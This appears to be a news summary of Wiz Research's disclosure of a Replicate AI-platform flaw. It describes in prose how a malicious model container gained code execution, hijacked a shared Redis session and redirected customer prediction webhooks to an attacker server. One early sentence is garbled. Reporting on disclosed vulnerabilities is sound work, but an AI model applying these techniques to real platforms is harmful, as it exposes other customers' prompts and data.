A vulnerability in Replicate’s AI-as-a-service platform allowed unauthorized access to customer AI models and prompts due to insufficient tenant separation, which could have exposed sensitive information used to train the models.
Replicate.com allows users to share and run AI models, and to simplify inference, Replicate uses a containerization format called Cog as the malicious Cog container containing arbitrary code execution functionality and uploads it to Replicate’s platform.
By interacting with the container through Replicate’s interface, they achieved remote code execution on their infrastructure, which highlights a potential security pattern: companies trusting and running untested AI models, which could be malicious code in disguise.
The technique is similar to the prior research with Hugging Face, where a compromised AI inference service was used with a malicious model.
When the attacker gained root access inside a container on Replicate’s Kubernetes cluster, they looked around and discovered that they shared a network namespace with another container but had their own PID namespace that contained them.
Analyzing network connections with netstat revealed a pre-existing TCP connection managed by a process in a different PID namespace, confirming the shared network namespace, which is a security risk as it allows attackers in one container to pivot to other containers within the same pod.
During privilege escalation, the attacker exploited a pre-existing TCP connection to a Redis server within Replicate’s network. Analyzing its plaintext traffic revealed it manages a queue, potentially shared by multiple customers, which sparked an attempt at cross-tenant data access.
While the attacker couldn’t directly connect due to authentication, they identified an active, authenticated Redis session within their container’s network namespace.
The attacker exploited a vulnerability in their container environment to inject Redis commands into the shared Redis server managing customer queues, and by injecting the `INFO` command, they confirmed the server stored customer request data.
Modifying existing queue items proved difficult due to Redis Streams’ append-only nature. Shifting tactics, the attacker targeted individual queue items containing customer prompts and metadata.
According to the Wiz Research Team exploiting a TCP injection vulnerability, a Lua script was injected into a Redis stream to manipulate data flow, which identified a target item in the queue, removed it (POP operation), and modified its webhook field to point to a malicious attacker-controlled server.
To ensure communication, the attacker hosted a rogue API server on the internet and tunneled traffic back to their worker pod, which enabled the attacker to intercept HTTP requests containing the original prediction input and send back modified outputs.
By exploiting the vulnerability, attackers could have gained access to sensitive information used to train the models, including personally identifiable information (PII) fed through prompts, which could corrupt the models’ outputs and compromise automated decision-making processes.
Also Read:
